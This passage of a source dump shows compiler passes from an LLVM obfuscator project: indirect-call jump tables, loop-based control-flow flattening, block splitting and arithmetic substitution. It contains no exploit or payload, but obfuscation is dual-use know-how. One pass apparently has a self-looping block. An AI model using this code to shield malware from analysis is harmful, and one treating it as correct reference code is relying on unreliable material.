Data.getTypeAllocSize(Type::getInt8Ty(M.getContext())->getPointerTo()); 53 | Type* PtrValueType = Type::getIntNTy(M.getContext(), PtrSize * 8); 54 | auto gloablName = M.getName().str() + "_FuncJmuptable"; 55 | std::map indirectCallinfos; 56 | int indirectCallinfos_count = 0; 57 | 58 | for (llvm::Function& F : M) { 59 | if (indirectCallinfos.find(&F) == indirectCallinfos.end()) 60 | if (F.hasExactDefinition()) { 61 | Generic_obfuscator::IndirectCallInfo newCallInfo; 62 | newCallInfo.index = indirectCallinfos_count++; 63 | newCallInfo.key = (int)getRandomNumber(); 64 | indirectCallinfos[&F] = newCallInfo; 65 | } 66 | } 67 | 68 | std::vector Values(indirectCallinfos_count); 69 | for (auto it = indirectCallinfos.begin(); it != indirectCallinfos.end(); it++) { 70 | Constant* CValue = ConstantExpr::getPtrToInt( 71 | ConstantExpr::getBitCast(it->first, it->first->getFunctionType()->getPointerTo()), 72 | PtrValueType 73 | ); 74 | CValue = ConstantExpr::getAdd(CValue, ConstantInt::get(PtrValueType, it->second.key)); 75 | CValue = ConstantExpr::getIntToPtr(CValue, Type::getInt8PtrTy(M.getContext())); 76 | Values[it->second.index] = CValue; 77 | } 78 | ArrayType* AT = ArrayType::get( 79 | Type::getInt8Ty(M.getContext())->getPointerTo(), indirectCallinfos_count); 80 | GlobalVariable* JumpTable = (GlobalVariable*)M.getOrInsertGlobal(gloablName, AT); 81 | Constant* ValueArray = ConstantArray::get(AT, ArrayRef(Values)); 82 | if (!JumpTable->hasInitializer()) { 83 | JumpTable->setInitializer(ValueArray); 84 | JumpTable->setLinkage(GlobalValue::PrivateLinkage); 85 | } 86 | if (indirectCall.model) { 87 | for (llvm::Function& F : M) { 88 | if (shouldSkip(F, indirectCall)) { 89 | continue; 90 | } 91 | Generic_obfuscator::IndirectCall::process(F, JumpTable, indirectCallinfos, AT); 92 | is_processed = true; 93 | PrintSuccess("IndirectCall successfully process func ", F.getName().str()); 94 | } 95 | } 96 | if (is_processed) { 97 | return PreservedAnalyses::none(); 98 | } else { 99 | return PreservedAnalyses::all(); 100 | } 101 | } -------------------------------------------------------------------------------- /Generic_obfuscator/src/pass/Loopen.cpp: -------------------------------------------------------------------------------- 1 | #include "utils.hpp" 2 | #include "Loopen.hpp" 3 | #include "config.h" 4 | #include "Log.hpp" 5 | #include "llvm/IR/GlobalValue.h" 6 | #include "llvm/Support/raw_ostream.h" 7 | std::string quickPowIR = R"XYZ( 8 | ; ModuleID = 'quick_pow.c' 9 | source_filename = "quick_pow.c" 10 | target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" 11 | target triple = "x86_64-pc-linux-gnu" 12 | 13 | ; Function Attrs: noinline nounwind optnone uwtable 14 | define dso_local i32 @Generic_obfuscator_quick_pow(i32 noundef %0, i32 noundef %1, i32 noundef %2) #0 { 15 | %4 = alloca i32, align 4 16 | %5 = alloca i32, align 4 17 | %6 = alloca i32, align 4 18 | %7 = alloca i32, align 4 19 | %8 = alloca i32, align 4 20 | store i32 %0, ptr %5, align 4 21 | store i32 %1, ptr %6, align 4 22 | store i32 %2, ptr %7, align 4 23 | store i32 1, ptr %8, align 4 24 | %9 = load i32, ptr %5, align 4 25 | %10 = load i32, ptr %7, align 4 26 | %11 = urem i32 %9, %10 27 | store i32 %11, ptr %5, align 4 28 | %12 = load i32, ptr %6, align 4 29 | %13 = icmp ne i32 %12, 2 30 | br i1 %13, label %14, label %15 31 | 32 | 14: ; preds = %3 33 | store i32 0, ptr %4, align 4 34 | br label %39 35 | 36 | 15: ; preds = %3 37 | br label %16 38 | 39 | 16: ; preds = %29, %15 40 | %17 = load i32, ptr %6, align 4 41 | %18 = icmp ugt i32 %17, 0 42 | br i1 %18, label %19, label %37 43 | 44 | 19: ; preds = %16 45 | %20 = load i32, ptr %6, align 4 46 | %21 = urem i32 %20, 2 47 | %22 = icmp eq i32 %21, 1 48 | br i1 %22, label %23, label %29 49 | 50 | 23: ; preds = %19 51 | %24 = load i32, ptr %8, align 4 52 | %25 = load i32, ptr %5, align 4 53 | %26 = mul i32 %24, %25 54 | %27 = load i32, ptr %7, align 4 55 | %28 = urem i32 %26, %27 56 | store i32 %28, ptr %8, align 4 57 | br label %29 58 | 59 | 29: ; preds = %23, %19 60 | %30 = load i32, ptr %5, align 4 61 | %31 = load i32, ptr %5, align 4 62 | %32 = mul i32 %30, %31 63 | %33 = load i32, ptr %7, align 4 64 | %34 = urem i32 %32, %33 65 | store i32 %34, ptr %5, align 4 66 | %35 = load i32, ptr %6, align 4 67 | %36 = udiv i32 %35, 2 68 | store i32 %36, ptr %6, align 4 69 | br label %16, !llvm.loop !6 70 | 71 | 37: ; preds = %16 72 | %38 = load i32, ptr %8, align 4 73 | store i32 %38, ptr %4, align 4 74 | br label %39 75 | 76 | 39: ; preds = %37, %14 77 | %40 = load i32, ptr %4, align 4 78 | ret i32 %40 79 | } 80 | 81 | attributes #0 = { noinline nounwind optnone uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } 82 | 83 | !llvm.module.flags = !{!0, !1, !2, !3, !4} 84 | !llvm.ident = !{!5} 85 | 86 | !0 = !{i32 1, !"wchar_size", i32 4} 87 | !1 = !{i32 8, !"PIC Level", i32 2} 88 | !2 = !{i32 7, !"PIE Level", i32 2} 89 | !3 = !{i32 7, !"uwtable", i32 2} 90 | !4 = !{i32 7, !"frame-pointer", i32 2} 91 | !5 = !{!"Ubuntu clang version 17.0.6 (9ubuntu1)"} 92 | !6 = distinct !{!6, !7} 93 | !7 = !{!"llvm.loop.mustprogress"} 94 | )XYZ"; 95 | // #include "llvm/Transforms/Utils/LowerSwitch.h" 96 | // namespace 97 | // The modulus needs to be large enough to ensure that the square of x does not repeat 98 | #define QUICK_POW 2147483647 99 | using namespace llvm; 100 | std::vector origBB; 101 | std::map BB2X; 102 | std::map BB2Y; 103 | std::set resultSet; 104 | 105 | int xCount = 0; 106 | // Values ​​other than 2 return 0 to ensure efficiency. 107 | unsigned int quick_pow(unsigned int base, unsigned int exp, unsigned int mod) 108 | { 109 | unsigned int result = 1; 110 | base = base % mod; 111 | if(exp != 2){ 112 | return 0; 113 | } 114 | while (exp > 0) 115 | { 116 | if (exp % 2 == 1) 117 | { 118 | result = (result * base) % mod; 119 | } 120 | base = (base * base) % mod; 121 | exp /= 2; 122 | } 123 | 124 | return result; 125 | } 126 | 127 | llvm::Function *createQuickPow(llvm::Module *M,std::string &moduleName) 128 | { 129 | std::string funcName = "Generic_obfuscator_quick_pow"; 130 | 131 | // 在模块中检查是否已经存在同名的函数 132 | llvm::Function *existingFunc = M->getFunction(funcName); 133 | if (existingFunc) 134 | { 135 | // 如果函数已存在,直接返回该函数 136 | return existingFunc; 137 | } 138 | // PrintInfo("Loopen start createFuncFromGenerated "); 139 | llvm::Function *newFunc = createFuncFromString(M, funcName, quickPowIR); 140 | newFunc->setLinkage(llvm::GlobalValue::InternalLinkage); 141 | // PrintInfo("[Loopen]: createFuncFromGenerated successfully "); 142 | // 返回新创建的函数 143 | return newFunc; 144 | } 145 | 146 | // Loopen the specified function 147 | void funcLoopen(IRBuilder<> &builder, LLVMContext &context, Function &F, Function *quickPowFunc, Value *xmax, Value *ymax, BasicBlock *EntryBB) 148 | { 149 | IntegerType *intType = llvm::Type::getInt32Ty(context); 150 | 151 | // Create outer loop basic blocks 152 | BasicBlock *outerLoopCond = BasicBlock::Create(context, "outer.loop.cond", &F); 153 | BasicBlock *outerLoopBody = BasicBlock::Create(context, "outer.loop.body", &F); 154 | BasicBlock *outerLoopEnd = BasicBlock::Create(context, "outer.loop.end", &F); 155 | 156 | // Basic blocks for creating initial data 157 | BasicBlock *NewEntry = BasicBlock::Create(context, "new_entry", &F, EntryBB); 158 | builder.SetInsertPoint(NewEntry); 159 | // x 160 | Value *outerLoopVar = builder.CreateAlloca(intType, nullptr, "outerLoopVar"); 161 | builder.CreateStore(ConstantInt::get(intType, 1), outerLoopVar); 162 | // y 163 | Value *innerLoopVar = builder.CreateAlloca(intType, nullptr, "innerLoopVar"); 164 | builder.CreateStore(ConstantInt::get(intType, 0), innerLoopVar); 165 | 166 | // mod of x**y 167 | Value *quick_pow_mod = builder.CreateAlloca(intType, nullptr, "quick_pow_mod"); 168 | builder.CreateStore(ConstantInt::get(intType, QUICK_POW), quick_pow_mod); 169 | 170 | //result of x**y 171 | Value *quick_pow_result = builder.CreateAlloca(intType, nullptr, "quick_pow_result"); 172 | builder.CreateStore(ConstantInt::get(intType, 0), quick_pow_result); 173 | 174 | builder.CreateBr(outerLoopCond); 175 | // Move the original instructions to the new entry_block to prevent the scope of variables from being changed. 176 | for (auto it = EntryBB->begin(), end = std::prev(EntryBB->end()); it != end;) 177 | { 178 | Instruction &Inst = *it++; 179 | Inst.moveBefore(NewEntry->getTerminator()); 180 | } 181 | 182 | BasicBlock *innerLoopCond = BasicBlock::Create(context, "inner.loop.cond", &F); 183 | BasicBlock *innerLoopBody = BasicBlock::Create(context, "inner.loop.body", &F); 184 | BasicBlock *innerLoopEnd = BasicBlock::Create(context, "inner.loop.end", &F); 185 | 186 | builder.SetInsertPoint(outerLoopCond); 187 | Value *outerLoad = builder.CreateLoad(intType, outerLoopVar); 188 | Value *outerCond = builder.CreateICmpULT(outerLoad, xmax); 189 | builder.CreateCondBr(outerCond, outerLoopBody, outerLoopEnd); 190 | 191 | // outerLoopBody 192 | builder.SetInsertPoint(outerLoopBody); 193 | Value *outerNext = builder.CreateAdd(outerLoad, ConstantInt::get(intType, 1)); 194 | builder.CreateStore(outerNext, outerLoopVar); 195 | builder.CreateStore(ConstantInt::get(intType, 0), innerLoopVar); 196 | builder.CreateBr(innerLoopCond); 197 | 198 | // outerLoopCond 199 | builder.SetInsertPoint(outerLoopEnd); 200 | builder.CreateStore(ConstantInt::get(intType, 2), outerLoopVar); 201 | builder.CreateStore(ConstantInt::get(intType, 0), innerLoopVar); 202 | builder.CreateBr(outerLoopEnd); 203 | 204 | // innerLoopCond 205 | builder.SetInsertPoint(innerLoopCond); 206 | Value *innerLoad = builder.CreateLoad(intType, innerLoopVar); 207 | Value *innerCond = builder.CreateICmpULT(innerLoad, ymax); 208 | builder.CreateCondBr(innerCond, innerLoopBody, innerLoopEnd); 209 | 210 | // innerLoopBody 211 | builder.SetInsertPoint(innerLoopBody); 212 | Value *innerNext = builder.CreateAdd(innerLoad, ConstantInt::get(intType, 1)); 213 | builder.CreateStore(innerNext, innerLoopVar); 214 | Value *outerLoopVarValue = builder.CreateLoad(intType, outerLoopVar); // x 215 | Value *innerLoopVarValue = builder.CreateLoad(intType, innerLoopVar); // y 216 | Value *quickPowModValue = builder.CreateLoad(intType, quick_pow_mod); // mod 217 | llvm::Value *callResult = builder.CreateCall(quickPowFunc, {outerLoopVarValue, innerLoopVarValue, quickPowModValue}); 218 | 219 | // Insert alloca and store instructions in the entry block to create and initialize the switch variable, with the initial value being a random value. 220 | SwitchInst *swInst = SwitchInst::Create(callResult, innerLoopCond, 0, innerLoopBody); 221 | // Insert the original basic block before the return block and assign the case value 222 | for (BasicBlock *BB : origBB) 223 | { 224 | int randY = 2; 225 | swInst->addCase(ConstantInt::get(intType, quick_pow(x[xCount], randY, QUICK_POW)), BB); 226 | resultSet.insert(quick_pow(x[xCount], randY, QUICK_POW)); 227 | BB2X[BB] = x[xCount]; 228 | BB2Y[BB] = randY; 229 | xCount += 1; 230 | } 231 | 232 | // At the end of each basic block, add instructions to modify the switch variable and jump to the return block. 233 | for (BasicBlock *BB : origBB) 234 | { 235 | // retn BB 236 | if (BB->getTerminator()->getNumSuccessors() == 0) 237 | { 238 | continue; 239 | } 240 | // Unconditional jump 241 | else if (BB->getTerminator()->getNumSuccessors() == 1) 242 | { 243 | BasicBlock *sucBB = BB->getTerminator()->getSuccessor(0); 244 | int _x = BB2X[sucBB] - 1; 245 | int _y = BB2Y[sucBB]; 246 | builder.SetInsertPoint(&*BB->getFirstInsertionPt()); 247 | builder.CreateStore(ConstantInt::get(intType, _x), outerLoopVar); 248 | builder.CreateStore(ConstantInt::get(intType, _y), innerLoopVar); 249 | BranchInst *BR2innerLoopEnd = BranchInst::Create(innerLoopEnd); 250 | ReplaceInstWithInst(BB->getTerminator(), BR2innerLoopEnd); 251 | } 252 | // Conditional jump 253 | else if (BB->getTerminator()->getNumSuccessors() == 2) 254 | { 255 | builder.SetInsertPoint(&*BB->getTerminator()); 256 | BasicBlock *sucBBTrue = BB->getTerminator()->getSuccessor(0); 257 | BasicBlock *sucBBFalse = BB->getTerminator()->getSuccessor(1); 258 | int xTrue = BB2X[sucBBTrue] - 1; 259 | int yTrue = BB2Y[sucBBTrue]; 260 | int xFalse = BB2X[sucBBFalse] - 1; 261 | int yFalse = BB2Y[sucBBFalse]; 262 | auto *br = dyn_cast(BB->getTerminator()); 263 | if (!br || !br->isConditional()) { // 确保是条件分支 264 | PrintError("Not a condition br"); 265 | BB->getTerminator()->print(llvm::outs()); 266 | } 267 | // BranchInst *br = cast(BB->getTerminator()); 268 | Value *selX = builder.CreateSelect(br->getCondition(), ConstantInt::get(intType, xTrue), ConstantInt::get(intType, xFalse), ""); 269 | Value *selY = builder.CreateSelect(br->getCondition(), ConstantInt::get(intType, yTrue), ConstantInt::get(intType, yFalse), ""); 270 | builder.CreateStore(selX, outerLoopVar); 271 | builder.CreateStore(selY, innerLoopVar); 272 | BranchInst *BR2innerLoopEnd = BranchInst::Create(innerLoopEnd); 273 | ReplaceInstWithInst(BB->getTerminator(), BR2innerLoopEnd); 274 | } 275 | } 276 | // innerLoopEnd 277 | builder.SetInsertPoint(innerLoopEnd); 278 | builder.CreateBr(outerLoopCond); 279 | } 280 | 281 | PreservedAnalyses Loopen::run(Module &M, ModuleAnalysisManager &AM) 282 | { 283 | readConfig("/home/zzzccc/cxzz/Generic_obfuscator/config/config.json"); 284 | if (loopen.model){ 285 | for (llvm::Function &F : M) { 286 | xCount = 0; 287 | origBB.clear(); 288 | BB2X.clear(); 289 | BB2Y.clear(); 290 | resultSet.clear(); 291 | int blockCount = 0; 292 | if (shouldSkip(F, loopen)){ 293 | continue; 294 | } 295 | if (F.getName().contains("quick_pow")) 296 | { 297 | continue; 298 | } 299 | if (F.size() <= 2) 300 | { 301 | continue; 302 | } 303 | for (BasicBlock &BB : F) 304 | { 305 | blockCount++; 306 | } 307 | llvm::Module *M = F.getParent(); 308 | llvm::LLVMContext &context = M->getContext(); 309 | IntegerType *intType = llvm::Type::getInt32Ty(context); 310 | IRBuilder<> Builder(context); 311 | Value *xMax = ConstantInt::get(intType, 2147483647); // outer loop boundary 312 | Value *yMax = ConstantInt::get(intType, 4); // inner loop boundary 313 | std::srand(static_cast(std::time(nullptr))); 314 | for (BasicBlock &BB : F) 315 | { 316 | origBB.push_back(&BB); 317 | } 318 | // Remove the first basic block from the vector and process it separately to ensure variable scope 319 | origBB.erase(origBB.begin()); 320 | BasicBlock &entryBB = F.getEntryBlock(); 321 | if (BranchInst *br = dyn_cast(entryBB.getTerminator())) 322 | { 323 | if (br->isConditional()) 324 | { 325 | BasicBlock *newBB = entryBB.splitBasicBlock(br, "newBB"); 326 | origBB.insert(origBB.begin(), newBB); 327 | } 328 | } 329 | std::random_device rd; 330 | std::default_random_engine e(rd()); 331 | std::shuffle(origBB.begin() + 1, origBB.end(), e); 332 | llvm::Function *quickPowFunc = createQuickPow(M,loopen.module_name); 333 | // 检查基本块中是否至少有两条指令 334 | if (std::distance(entryBB.begin(), entryBB.end()) >= 2) 335 | { 336 | // 获取基本块中最后一条指令的迭代器 337 | llvm::BasicBlock::iterator I = entryBB.end(); 338 | --I; // 现在 I 指向最后一条指令 339 | --I; // 再向前移动一条,指向倒数第二条指令 340 | Builder.SetInsertPoint(&*I); 341 | } 342 | else 343 | { 344 | // llvm::errs() << "Not enough instructions to insert before the second last one.\n"; 345 | continue; 346 | } 347 | // PrintInfo("start funcLoopen: ",F.getName().str()); 348 | funcLoopen(Builder, context, F, quickPowFunc, xMax, yMax, &entryBB); 349 | // PrintInfo("start fix stack: ",F.getName().str()); 350 | demoteRegisters(&F); 351 | PrintSuccess("Loopen successfully process func ", F.getName().str()); 352 | } 353 | } 354 | 355 | return PreservedAnalyses::none(); 356 | } -------------------------------------------------------------------------------- /Generic_obfuscator/src/pass/SplitBasicBlock.cpp: -------------------------------------------------------------------------------- 1 | #include "SplitBasicBlock.h" 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "config.h" 7 | #include "utils.hpp" 8 | using namespace llvm; 9 | 10 | bool SplitBasicBlock::containsPHI(BasicBlock *BB) { 11 | for (Instruction &I : *BB) { 12 | if (isa(&I)) { 13 | return true; 14 | } 15 | } 16 | return false; 17 | } 18 | 19 | void SplitBasicBlock::split(Function *F, int splitNumber) { 20 | std::set processedBB; 21 | std::set createBB; 22 | std::vector origBB; 23 | std::vector splitPointVec; 24 | std::random_device rd; 25 | std::default_random_engine e(rd()); 26 | 27 | for (BasicBlock &BB : *F) { 28 | origBB.push_back(&BB); 29 | } 30 | for (BasicBlock *BB : origBB) { 31 | int BBsize = BB->size(); 32 | if (BBsize < 2 || containsPHI(BB)) { 33 | continue; 34 | } 35 | if ((size_t)splitNumber >= BBsize) { 36 | splitNumber = BBsize - 1; 37 | } 38 | // Get split points 39 | splitPointVec.clear(); 40 | int temp = 0; 41 | while (temp < splitNumber) { 42 | int random_number = rand() % BBsize; 43 | if (std::find(splitPointVec.begin(), splitPointVec.end(), random_number) == splitPointVec.end()) { 44 | splitPointVec.push_back(random_number); 45 | temp++; 46 | } 47 | } 48 | std::sort(splitPointVec.begin(), splitPointVec.end()); 49 | BasicBlock::iterator it = BB->begin(); 50 | BasicBlock *toSplit = BB; 51 | int last = 0; 52 | for (int i = 0; i < splitNumber; ++i) { 53 | if (toSplit->size() < 2) { 54 | continue; 55 | } 56 | for (int j = 0; j < splitPointVec[i] - last; ++j) { 57 | ++it; 58 | } 59 | last = splitPointVec[i]; 60 | BasicBlock *newBB = toSplit->splitBasicBlock(it, toSplit->getName() + ".split"); 61 | toSplit = newBB; 62 | } 63 | } 64 | } 65 | 66 | PreservedAnalyses SplitBasicBlock::run(Module &M, ModuleAnalysisManager &AM) { 67 | readConfig("/home/zzzccc/cxzz/Generic_obfuscator/config/config.json"); 68 | if (splitBasicBlocks.model){ 69 | for (llvm::Function &F : M) { 70 | if (shouldSkip(F, splitBasicBlocks)){ 71 | continue; 72 | } 73 | split(&F, splitBasicBlocks.op1); 74 | } 75 | } 76 | return PreservedAnalyses::none(); 77 | } 78 | -------------------------------------------------------------------------------- /Generic_obfuscator/src/pass/Substitution.cpp: -------------------------------------------------------------------------------- 1 | // This code is adapted from the Pluto project (https://github.com/bluesadi/Pluto) 2 | // Source file: https://github.com/bluesadi/Pluto/blob/kanxue/Transforms/src/Substitution.cpp 3 | // I just adapted it to the LLVM-17 and the LLVM New Pass 4 | #include "Substitution.h" 5 | #include "config.h" 6 | #include "utils.hpp" 7 | #include "Log.hpp" 8 | 9 | using namespace llvm; 10 | using std::vector; 11 | 12 | #define NUMBER_ADD_SUBST 4 13 | #define NUMBER_SUB_SUBST 3 14 | #define NUMBER_AND_SUBST 2 15 | #define NUMBER_OR_SUBST 2 16 | #define NUMBER_XOR_SUBST 2 17 | 18 | // 混淆次数,混淆次数越多混淆结果越复杂 19 | int sub_times = 3; 20 | namespace Generic_obfuscator { 21 | namespace Substitution { 22 | 23 | void substitute(BinaryOperator* BI) 24 | { 25 | bool flag = true; 26 | switch (BI->getOpcode()) { 27 | case BinaryOperator::Add: 28 | substituteAdd(BI); 29 | break; 30 | case BinaryOperator::Sub: 31 | substituteSub(BI); 32 | break; 33 | case BinaryOperator::And: 34 | substituteAnd(BI); 35 | break; 36 | case BinaryOperator::Or: 37 | substituteOr(BI); 38 | break; 39 | case BinaryOperator::Xor: 40 | substituteXor(BI); 41 | break; 42 | default: 43 | flag = false; 44 | break; 45 | } 46 | if (flag) { 47 | BI->eraseFromParent(); 48 | } 49 | } 50 | 51 | void substituteAdd(BinaryOperator* BI) 52 | { 53 | int choice = rand() % NUMBER_ADD_SUBST; 54 | switch (choice) { 55 | case 0: 56 | addNeg(BI); 57 | break; 58 | case 1: 59 | addDoubleNeg(BI); 60 | break; 61 | case 2: 62 | addRand(BI); 63 | break; 64 | case 3: 65 | addRand2(BI); 66 | break; 67 | default: 68 | break; 69 | } 70 | } 71 | 72 | void addNeg(BinaryOperator* BI) 73 | { 74 | BinaryOperator* op; 75 | op = BinaryOperator::CreateNeg(BI->getOperand(1), "", BI); 76 | op = BinaryOperator::CreateSub(BI->getOperand(0), op, "", BI); 77 | BI->replaceAllUsesWith(op); 78 | } 79 | 80 | void addDoubleNeg(BinaryOperator* BI) 81 | { 82 | BinaryOperator *op, *op1, *op2; 83 | op1 = BinaryOperator::CreateNeg(BI->getOperand(0), "", BI); 84 | op2 = BinaryOperator::CreateNeg(BI->getOperand(1), "", BI); 85 | op = BinaryOperator::CreateAdd(op1, op2, "", BI); 86 | op = BinaryOperator::CreateNeg(op, "", BI); 87 | BI->replaceAllUsesWith(op); 88 | } 89 | 90 | void addRand(BinaryOperator* BI) 91 | { 92 | ConstantInt* r = (ConstantInt*)ConstantInt::get(BI->getType(), rand()); 93 | BinaryOperator* op; 94 | op = BinaryOperator::CreateAdd(BI->getOperand(0), r, "", BI); 95 | op = BinaryOperator::CreateAdd(op, BI->getOperand(1), "", BI); 96 | op = BinaryOperator::CreateSub(op, r, "", BI); 97 | BI->replaceAllUsesWith(op); 98 | } 99 | 100 | void addRand2(BinaryOperator* BI) 101 | { 102 | ConstantInt* r = (ConstantInt*)ConstantInt::get(BI->getType(), rand()); 103 | BinaryOperator *op, *op1, *op2; 104 | op = BinaryOperator::CreateSub(BI->getOperand(0), r, "", BI); 105 | op = BinaryOperator::CreateAdd(op, BI->getOperand(1), "", BI); 106 | op = BinaryOperator::CreateAdd(op, r, "", BI); 107 | BI->replaceAllUsesWith(op); 108 | } 109 | 110 | void substituteSub(BinaryOperator* BI) 111 | { 112 | int choice = rand() % NUMBER_SUB_SUBST; 113 | switch (choice) { 114 | case 0: 115 | subNeg(BI); 116 | break; 117 | case 1: 118 | subRand(BI); 119 | break; 120 | case 2: 121 | subRand2(BI); 122 | break; 123 | default: 124 | break; 125 | } 126 | } 127 | 128 | void subNeg(BinaryOperator* BI) 129 | { 130 | BinaryOperator* op; 131 | op = BinaryOperator::CreateNeg(BI->getOperand(1), "", BI); 132 | op = BinaryOperator::CreateAdd(BI->getOperand(0), op, "", BI); 133 | BI->replaceAllUsesWith(op); 134 | } 135 | 136 | void subRand(BinaryOperator* BI) 137 | { 138 | ConstantInt* r = (ConstantInt*)ConstantInt::get(BI->getType(), rand()); 139 | BinaryOperator *op, *op1, *op2; 140 | op = BinaryOperator::CreateAdd(BI->getOperand(0), r, "", BI); 141 | op = BinaryOperator::CreateSub(op, BI->getOperand(1), "", BI); 142 | op = BinaryOperator::CreateSub(op, r, "", BI); 143 | BI->replaceAllUsesWith(op); 144 | } 145 | 146 | void subRand2(BinaryOperator* BI) 147 | { 148 | ConstantInt* r = (ConstantInt*)ConstantInt::get(BI->getType(), rand()); 149 | BinaryOperator *op, *op1, *op2; 150 | op = BinaryOperator::CreateSub(BI->getOperand(0), r, "", BI); 151 | op = BinaryOperator::CreateSub(op, BI->getOperand(1), "", BI); 152 | op = BinaryOperator::CreateAdd(op, r, "", BI); 153 | BI->replaceAllUsesWith(op); 154 | } 155 | 156 | void substituteXor(BinaryOperator* BI) 157 | { 158 | int choice = rand() % NUMBER_XOR_SUBST; 159 | switch (choice) { 160 | case 0: 161 | xorSubstitute(BI); 162 | break; 163 | case 1: 164 | xorSubstituteRand(BI); 165 | break; 166 | default: 167 | break; 168 | } 169 | } 170 | 171 | void xorSubstitute(BinaryOperator* BI) 172 | { 173 | BinaryOperator *op, *op1, *op2, *op3; 174 | op1 = BinaryOperator::CreateNot(BI->getOperand(0), "", BI); 175 | op1 = BinaryOperator::CreateAnd(op1, BI->getOperand(1), "", BI); 176 | op2 = BinaryOperator::CreateNot(BI->getOperand(1), "", BI); 177 | op2 = BinaryOperator::CreateAnd(BI->getOperand(0), op2, "", BI); 178 | op = BinaryOperator::CreateOr(op1, op2, "", BI); 179 | BI->replaceAllUsesWith(op); 180 | } 181 | 182 | void xorSubstituteRand(BinaryOperator* BI) 183 | { 184 | ConstantInt* r = (ConstantInt*)ConstantInt::get(BI->getType(), rand()); 185 | BinaryOperator *op, *op1, *op2, *op3; 186 | op1 = BinaryOperator::CreateNot(BI->getOperand(0), "", BI); 187 | op1 = BinaryOperator::CreateAnd(op1, r, "", BI); 188 | op2 = BinaryOperator::CreateNot(r, "", BI); 189 | op2 = BinaryOperator::CreateAnd(BI->getOperand(0), op2, "", BI); 190 | op = BinaryOperator::CreateOr(op1, op2, "", BI); 191 | op1 = BinaryOperator::CreateNot(BI->getOperand(1), "", BI); 192 | op1 = BinaryOperator::CreateAnd(op1, r, "", BI); 193 | op2 = BinaryOperator::CreateNot(r, "", BI); 194 | op2 = BinaryOperator::CreateAnd(BI->getOperand(1), op2, "", BI); 195 | op3 = BinaryOperator::CreateOr(op1, op2, "", BI); 196 | op = BinaryOperator::CreateXor(op, op3, "", BI); 197 | BI->replaceAllUsesWith(op); 198 | } 199 | 200 | void substituteAnd(BinaryOperator* BI) 201 | { 202 | int choice = rand() % NUMBER_AND_SUBST; 203 | switch (choice) { 204 | case 0: 205 | andSubstitute(BI); 206 | break; 207 | case 1: 208 | andSubstituteRand(BI); 209 | break; 210 | default: 211 | break; 212 | } 213 | } 214 | 215 | void andSubstitute(BinaryOperator* BI) 216 | { 217 | BinaryOperator* op; 218 | op = BinaryOperator::CreateNot(BI->getOperand(1), "", BI); 219 | op = BinaryOperator::CreateXor(BI->getOperand(0), op, "", BI); 220 | op = BinaryOperator::CreateAnd(op, BI->getOperand(0), "", BI); 221 | BI->replaceAllUsesWith(op); 222 | } 223 | 224 | void andSubstituteRand(BinaryOperator* BI) 225 | { 226 | ConstantInt* r = (ConstantInt*)ConstantInt::get(BI->getType(), rand()); 227 | BinaryOperator *op, *op1; 228 | op = BinaryOperator::CreateNot(BI->getOperand(0), "", BI); 229 | op1 = BinaryOperator::CreateNot(BI->getOperand(1), "", BI); 230 | op = BinaryOperator::CreateOr(op, op1, "", BI); 231 | op = BinaryOperator::CreateNot(op, "", BI); 232 | op1 = BinaryOperator::CreateNot(r, "", BI); 233 | op1 = BinaryOperator::CreateOr(r, op1, "", BI); 234 | op = BinaryOperator::CreateAnd(op, op1, "", BI); 235 | BI->replaceAllUsesWith(op); 236 | } 237 | 238 | void substituteOr(BinaryOperator* BI) 239 | { 240 | int choice = rand() % NUMBER_OR_SUBST; 241 | switch (choice) { 242 | case 0: 243 | orSubstitute(BI); 244 | break; 245 | case 1: 246 | orSubstituteRand(BI); 247 | break; 248 | default: 249 | break; 250 | } 251 | } 252 | 253 | void orSubstitute(BinaryOperator* BI) 254 | { 255 | BinaryOperator *op, *op1; 256 | op = BinaryOperator::CreateAnd(BI->getOperand(0), BI->getOperand(1), "", BI); 257 | op1 = BinaryOperator::CreateXor(BI->getOperand(0), BI->getOperand(1), "", BI); 258 | op = BinaryOperator::CreateOr(op, op1, "", BI); 259 | BI->replaceAllUsesWith(op); 260 | } 261 | 262 | void orSubstituteRand(BinaryOperator* BI) 263 | { 264 | ConstantInt* r = (ConstantInt*)ConstantInt::get(BI->getType(), rand()); 265 | BinaryOperator *op, *op1; 266 | op = BinaryOperator::CreateNot(BI->getOperand(0), "", BI); 267 | op1 = BinaryOperator::CreateNot(BI->getOperand(1), "", BI); 268 | op = BinaryOperator::CreateAnd(op, op1, "", BI); 269 | op = BinaryOperator::CreateNot(op, "", BI); 270 | op1 = BinaryOperator::CreateNot(r, "", BI); 271 | op1 = BinaryOperator::CreateOr(r, op1, "", BI); 272 | op = BinaryOperator::CreateAnd(op, op1, "", BI); 273 | BI->replaceAllUsesWith(op); 274 | } 275 | } 276 | } 277 | 278 | class Substitution : public FunctionPass { 279 | public: 280 | static char ID; 281 | Substitution() 282 | : FunctionPass(ID) 283 | { 284 | srand(time(NULL)); 285 | } 286 | 287 | bool runOnFunction(Function& F); 288 | }; 289 | 290 | PreservedAnalyses llvm::Substitution::run(Module& M, ModuleAnalysisManager& AM) 291 | { 292 | readConfig("/home/zzzccc/cxzz/Generic_obfuscator/config/config.json"); 293 | bool is_processed = false; 294 | if (substitution.model) { 295 | for (llvm::Function& F : M) { 296 | if (shouldSkip(F, substitution)) { 297 | continue; 298 | } 299 | for (int i = 0; i < sub_times; i++) { 300 | for (BasicBlock& BB : F) { 301 | vector origInst; 302 | for (Instruction& I : BB) { 303 | origInst.push_back(&I); 304 | } 305 | for (Instruction* I : origInst) { 306 | if (isa(I)) { 307 | BinaryOperator* BI = cast(I); 308 | Generic_obfuscator::Substitution::substitute(BI); 309 | } 310 | } 311 | } 312 | } 313 | PrintSuccess("Substitution successfully process func ", F.getName().str()); 314 | is_processed = true; 315 | } 316 | } 317 | if (is_processed) { 318 | return PreservedAnalyses::none(); 319 | } else { 320 | return PreservedAnalyses::all(); 321 | } 322 | } -------------------------------------------------------------------------------- /Generic_obfuscator/src/utils/TaintAnalysis.cpp: -------------------------------------------------------------------------------- 1 | #include "TaintAnalysis.h" 2 | 3 | std::size_t Generic_obfuscator::TaintAnalysis::hashSet(const std::set& gv_set) 4 | { 5 | std::size_t hashValue = 0; 6 | 7 | for (const auto& val : gv_set) { 8 | 